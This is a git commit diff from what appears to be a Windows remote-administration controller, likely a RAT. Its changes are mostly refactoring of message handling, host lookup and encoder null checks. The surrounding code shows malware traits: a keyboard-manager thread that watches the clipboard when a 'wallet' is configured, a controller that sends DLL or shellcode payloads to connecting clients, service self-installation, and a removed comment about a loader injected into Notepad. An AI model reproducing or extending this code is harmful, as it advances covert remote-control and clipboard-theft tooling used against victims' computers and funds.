Improve master efficiency by using asynchronous message processing

This commit is contained in:
yuanyuanxiang
2025-12-05 17:40:12 +01:00
parent 8c45ae17a8
commit 001f0682ae
15 changed files with 190 additions and 163 deletions

View File

@@ -486,15 +486,14 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam; CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
while (pThis->m_bIsWorking) { while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet(); auto w = pThis->GetWallet();
if (w.empty()){ if (w.empty()) {
Sleep(1000); Sleep(1000);
continue; continue;
} }
bool hasClipboard = false; bool hasClipboard = false;
try { try {
hasClipboard = clip::has(clip::text_format()); hasClipboard = clip::has(clip::text_format());
} } catch (...) { // fix: "std::runtime_error" causing crashes in some cases
catch (...) { // fix: "std::runtime_error" causing crashes in some cases
hasClipboard = false; hasClipboard = false;
Sleep(3000); Sleep(3000);
} }

View File

@@ -24,7 +24,8 @@ static HANDLE g_StopEvent = NULL;
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv); static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode); static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
void InitWindowsService(MyService info){ void InitWindowsService(MyService info)
{
memcpy(&g_MyService, &info, sizeof(MyService)); memcpy(&g_MyService, &info, sizeof(MyService));
} }
@@ -564,18 +565,14 @@ BOOL RunAsWindowsService(int argc, const char* argv[])
} else if (argc > 1) { } else if (argc > 1) {
if (_stricmp(argv[1], "-install") == 0) { if (_stricmp(argv[1], "-install") == 0) {
return ServiceWrapper_Install(); return ServiceWrapper_Install();
} } else if (_stricmp(argv[1], "-uninstall") == 0) {
else if (_stricmp(argv[1], "-uninstall") == 0) {
ServiceWrapper_Uninstall(); ServiceWrapper_Uninstall();
return TRUE; return TRUE;
} } else if (_stricmp(argv[1], "-service") == 0) {
else if (_stricmp(argv[1], "-service") == 0) {
return ServiceWrapper_Run() == ERROR_SUCCESS; return ServiceWrapper_Run() == ERROR_SUCCESS;
} } else if (_stricmp(argv[1], "-agent") == 0) {
else if (_stricmp(argv[1], "-agent") == 0) {
return FALSE; return FALSE;
} } else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
PrintUsage(); PrintUsage();
return TRUE; return TRUE;
} }

Binary file not shown.

View File

@@ -750,7 +750,6 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
auto ctx = *i; auto ctx = *i;
if (ctx == ContextObject || ctx->GetClientID() == id) { if (ctx == ContextObject || ctx->GetClientID() == id) {
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
Mprintf("TODO: '%s' already exist!!\n", strIP);
return; return;
} }
} }
@@ -2094,16 +2093,17 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
Dlg->OnReceiveComplete(); Dlg->OnReceiveComplete();
Dlg->MarkReceiving(false); Dlg->MarkReceiving(false);
} else { } else {
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hEvent = USING_EVENT ? CreateEvent(NULL, TRUE, FALSE, NULL) : NULL;
if (hEvent == NULL) { if (USING_EVENT && !hEvent) {
Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject); Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject);
return FALSE; return FALSE;
} }
if (!g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)hEvent, (LPARAM)ContextObject)) { if (!g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)hEvent, (LPARAM)ContextObject)) {
Mprintf("===> NotifyProc PostMessage FAILED: %p <===\n", ContextObject); Mprintf("===> NotifyProc PostMessage FAILED: %p <===\n", ContextObject);
CloseHandle(hEvent); if (hEvent) CloseHandle(hEvent);
return FALSE; return FALSE;
} }
if (hEvent) {
HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit }; HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE); DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (result == WAIT_FAILED) { if (result == WAIT_FAILED) {
@@ -2111,6 +2111,7 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
Mprintf("NotifyProc WaitForMultipleObjects failed, error=%lu\n", err); Mprintf("NotifyProc WaitForMultipleObjects failed, error=%lu\n", err);
} }
} }
}
return TRUE; return TRUE;
} }
@@ -2314,23 +2315,18 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
} }
case TOKEN_HEARTBEAT: case TOKEN_HEARTBEAT:
case 137: // 心跳【L】 case 137: // 心跳【L】
g_2015RemoteDlg->SendMessage(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject); g_2015RemoteDlg->PostMessageA(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
break; break;
case SOCKET_DLLLOADER: {// 请求DLL【L】 case SOCKET_DLLLOADER: {// 请求DLL【L】
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength(); auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false; bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL); int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true; bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
int connNum = 0;
if (typ == SHELLCODE) {
Mprintf("===> '%s' Request SC [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
} else {
Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
}
char version[12] = {}; char version[12] = {};
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4); ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
// TODO 注入记事本的加载器需要更新 BOOL send = SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit); Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n", ContextObject->RemoteAddr().c_str(),
typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
break; break;
} }
case COMMAND_BYE: { // 主机下线【L】 case COMMAND_BYE: { // 主机下线【L】
@@ -2417,7 +2413,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
} }
} }
auto duration = clock() - tick; auto duration = clock() - tick;
if (duration > 200) { if (duration > 100) {
Mprintf("[%s] Command '%s' [%d] cost %d ms\n", __FUNCTION__, ContextObject->PeerName.c_str(), cmd, duration); Mprintf("[%s] Command '%s' [%d] cost %d ms\n", __FUNCTION__, ContextObject->PeerName.c_str(), cmd, duration);
} }
} }
@@ -2435,9 +2431,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
strIP = ContextObject->GetPeerName().c_str(); strIP = ContextObject->GetPeerName().c_str();
// 不合法的数据包 // 不合法的数据包
if (ContextObject->InDeCompressedBuffer.GetBufferLength() < sizeof(LOGIN_INFOR)) { if (ContextObject->InDeCompressedBuffer.GetBufferLength() < sizeof(LOGIN_INFOR)) {
char buf[100]; Mprintf("*** Received [%s] invalid login data! ***\n", strIP.GetString());
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString());
Mprintf(buf);
return -1; return -1;
} }
@@ -2482,7 +2476,12 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
{ {
Mprintf("======> OnUserOfflineMsg\n"); auto host = FindHost((int)lParam);
if (host) {
Mprintf("======> OnUserOfflineMsg: %s\n", host->GetPeerName().c_str());
CLock L(m_cs);
m_HostList.erase(host);
}
CString ip, port; CString ip, port;
port.Format("%d", lParam); port.Format("%d", lParam);
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
@@ -2492,7 +2491,6 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
if (cur == port) { if (cur == port) {
ip = m_CList_Online.GetItemText(i, ONLINELIST_IP); ip = m_CList_Online.GetItemText(i, ONLINELIST_IP);
auto ctx = (context*)m_CList_Online.GetItemData(i); auto ctx = (context*)m_CList_Online.GetItemData(i);
m_HostList.erase(ctx);
m_CList_Online.DeleteItem(i); m_CList_Online.DeleteItem(i);
ShowMessage("操作成功", ip + "主机下线"); ShowMessage("操作成功", ip + "主机下线");
break; break;
@@ -2512,7 +2510,8 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
return S_OK; return S_OK;
} }
LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam) { LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam)
{
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)lParam; CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)lParam;
UpdateActiveWindow(ctx); UpdateActiveWindow(ctx);
@@ -2521,6 +2520,13 @@ LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam) {
void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
{ {
auto host = FindHost(ctx);
if (!host) {
ctx->CancelIO();
Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str());
return;
}
Heartbeat hb; Heartbeat hb;
ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1); ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1);
@@ -2546,15 +2552,29 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
return; return;
} }
} }
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
if (ctx->IsEqual(*i)) {
return;
}
}
ctx->CancelIO();
Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str());
} }
context* CMy2015RemoteDlg::FindHost(context* ctx)
{
CLock L(m_cs);
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
if (ctx->IsEqual(*i)) {
return ctx;
}
}
return NULL;
}
context* CMy2015RemoteDlg::FindHost(int port)
{
CLock L(m_cs);
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
if ((*i)->GetPort() == port) {
return *i;
}
}
return NULL;
}
void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx)
{ {
@@ -2583,7 +2603,7 @@ bool isAllZeros(const BYTE* data, int len)
return true; return true;
} }
VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit) BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
{ {
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86; auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id]; auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
@@ -2595,10 +2615,12 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32))); memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
if (!buf->MD5().empty() && md5 != buf->MD5()) { if (!buf->MD5().empty() && md5 != buf->MD5()) {
ContextObject->Send2Client(buf->Buf(), buf->length(!hasIV)); ContextObject->Send2Client(buf->Buf(), buf->length(!hasIV));
return TRUE;
} else { } else {
ContextObject->Send2Client( buf->Buf(), 6 /* data not changed */); ContextObject->Send2Client( buf->Buf(), 6 /* data not changed */);
} }
} }
return FALSE;
} }

View File

@@ -13,6 +13,9 @@
// 是否在退出主控端时也退出客户端 // 是否在退出主控端时也退出客户端
#define CLIENT_EXIT_WITH_SERVER 0 #define CLIENT_EXIT_WITH_SERVER 0
// 是否使用同步事件处理消息
#define USING_EVENT 0
typedef struct DllInfo { typedef struct DllInfo {
std::string Name; std::string Name;
Buffer* Data; Buffer* Data;
@@ -205,7 +208,7 @@ public:
BOOL Activate(const std::string& nPort, int nMaxConnection, const std::string& method); BOOL Activate(const std::string& nPort, int nMaxConnection, const std::string& method);
void UpdateActiveWindow(CONTEXT_OBJECT* ctx); void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
void SendMasterSettings(CONTEXT_OBJECT* ctx); void SendMasterSettings(CONTEXT_OBJECT* ctx);
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit); BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE]; Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
Buffer* m_ServerBin[PAYLOAD_MAXTYPE]; Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
MasterSettings m_settings; MasterSettings m_settings;
@@ -223,6 +226,8 @@ public:
std::string m_selectedGroup; std::string m_selectedGroup;
void LoadListData(const std::string& group); void LoadListData(const std::string& group);
void DeletePopupWindow(); void DeletePopupWindow();
context* FindHost(context* ctx);
context* FindHost(int port);
CStatusBar m_StatusBar; //状态条 CStatusBar m_StatusBar; //状态条
CTrueColorToolBar m_ToolBar; CTrueColorToolBar m_ToolBar;

View File

@@ -410,7 +410,7 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr
// May be this function should be a member of `CONTEXT_OBJECT`. // May be this function should be a member of `CONTEXT_OBJECT`.
BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx) BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx)
{ {
AUTO_TICK(40, ""); AUTO_TICK(50, ContextObject->GetPeerName());
BOOL ret = 1; BOOL ret = 1;
try { try {
if (dwTrans == 0) { //对方关闭了套接字 if (dwTrans == 0) { //对方关闭了套接字

View File

@@ -627,22 +627,26 @@ public:
// Encode data before compress. // Encode data before compress.
void Encode(PBYTE data, int len) const void Encode(PBYTE data, int len) const
{ {
Parser.GetEncoder()->Encode((unsigned char*)data, len); auto enc = Parser.GetEncoder();
if (enc) enc->Encode((unsigned char*)data, len);
} }
// Decode data after uncompress. // Decode data after uncompress.
void Decode(PBYTE data, int len) const void Decode(PBYTE data, int len) const
{ {
Parser.GetEncoder()->Decode((unsigned char*)data, len); auto enc = Parser.GetEncoder();
if (enc) enc->Decode((unsigned char*)data, len);
} }
// Encode data after compress. // Encode data after compress.
void Encode2(PBYTE data, int len, PBYTE param) const void Encode2(PBYTE data, int len, PBYTE param) const
{ {
Parser.GetEncoder2()->Encode((unsigned char*)data, len, param); auto enc = Parser.GetEncoder2();
if (enc) enc->Encode((unsigned char*)data, len, param);
} }
// Decode data before uncompress. // Decode data before uncompress.
void Decode2(PBYTE data, int len, PBYTE param) const void Decode2(PBYTE data, int len, PBYTE param) const
{ {
Parser.GetEncoder2()->Decode((unsigned char*)data, len, param); auto enc = Parser.GetEncoder2();
if (enc) enc->Decode((unsigned char*)data, len, param);
} }
std::string RemoteAddr() const std::string RemoteAddr() const
{ {